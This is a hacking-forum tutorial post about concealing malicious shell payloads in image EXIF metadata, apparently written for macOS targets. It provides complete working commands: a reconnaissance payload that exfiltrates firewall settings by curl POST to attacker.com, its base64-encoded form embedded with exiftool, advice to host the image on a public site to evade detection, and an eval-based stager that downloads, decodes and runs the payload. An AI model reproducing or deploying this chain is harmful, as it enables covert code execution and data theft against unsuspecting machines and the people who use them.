Forum:Hack Forums

Thread: [Hack Mac/Linux] Concealing payloads inside image metadata

SIM-1980240 - *August 28, 2020, 6:07 am*

In this tutorial, I will teach you how to hide malicious commands inside an image's EXIF data. The attacker can post the picture to a public whitelisted photo-sharing website to evade firewall detection so that everyone can download it. We will also build a stager is used to download and extract the embedded code within the images EXIF data and run our command on the target machine.

Requirements:curl

system_profiler

exiftool

grep

bash

half a brain ?

Step 1: Download an Image
To get started, we will first need to download an image. It can be any image you like. For this demonstration we will be downloading my avatar logo.
Code wget 'https://hackforums.net/uploads/avatars/avatar_1980240.png?dateline=1596985261' -O image.jpg
Step 2: Building the Payload
This command uses the Macs system_profiler command to execute a situational awareness attack. Then it uses curl to exfiltrate the data back to the attacker.
Code ~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n'You can also use a bash script if your choice with the following command:
Code cat /path/to/any_script.sh | base64 | tr -d '\n'
Step 3: Embed the payload into an image
Install exiftool
Code apt-get update && apt-get install exiftool -Verase existing EXIF data from our image
Code exiftool -all= image.jpgUse the exiftool to add our meta data tag
Code exiftool -Certificate='ZD0kKHN5c3RlbV9wcm9maWxlciBTUEZpcmV3YWxsRGF0YVR5cGUpO2N1cmwgLXMgLS1kYXRhICIkZCIgLVggUE9TVCBodHRwOi8vYXR0YWNrZXIuY29tL2luZGV4LnBocA==' image.jpgThen use the command "exiftool image.jpg" and look where it says certificate to verify that we successfully added our payload.

Step 4: Upload our image to a website
Finding a good website can be difficult because most image hosts like imgur sanitize the EXIF data automatically, to protect their users from cyberstalkers. This site should work fine though: https://www.flickr.com/

Make sure you upload to a site that enforces HTTPs to avoid allowing people to detect the payload in the EXIF data.

Step 5: Build the stager

Code ~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $pThere are a few things happening here, so I'll break down each section of the stager.

p=$(...) — Most of the stager is enclosed in a variable called "p" (aka payload), done primarily to keep the image from being saved directly to the target's macOS hard drive.

curl -s https://website.com/image.jpg — Curl is used here to silently (-s) download the image containing the payload from a website of the attacker's choosing. The image is immediately piped (|) into the following grep command.

grep Cert -a — Grep will take the raw image data, process it as a plaintext (-a) while searching for the "Cert" string. That output would appear in a terminal as shown below.

sed 's/<[^>]*>//g' — The above output is immediately piped into this sed command. Sed will remove all surrounding XML data (i.e., <xmpRights></xmpRights>), leaving only the encoded string.

base64 -D — The encoded string is piped into this base64 command where it's decoded with the -D option, ultimately, making the $p variable the decoded payload.

eval $p — Finally, eval is used to evaluate the variable as a command, effectively executing the payload in its variable form.

Congratulations, your payload is complete. This is the end of the tutorial, stay tuned and I will be posting more tutorials like this one.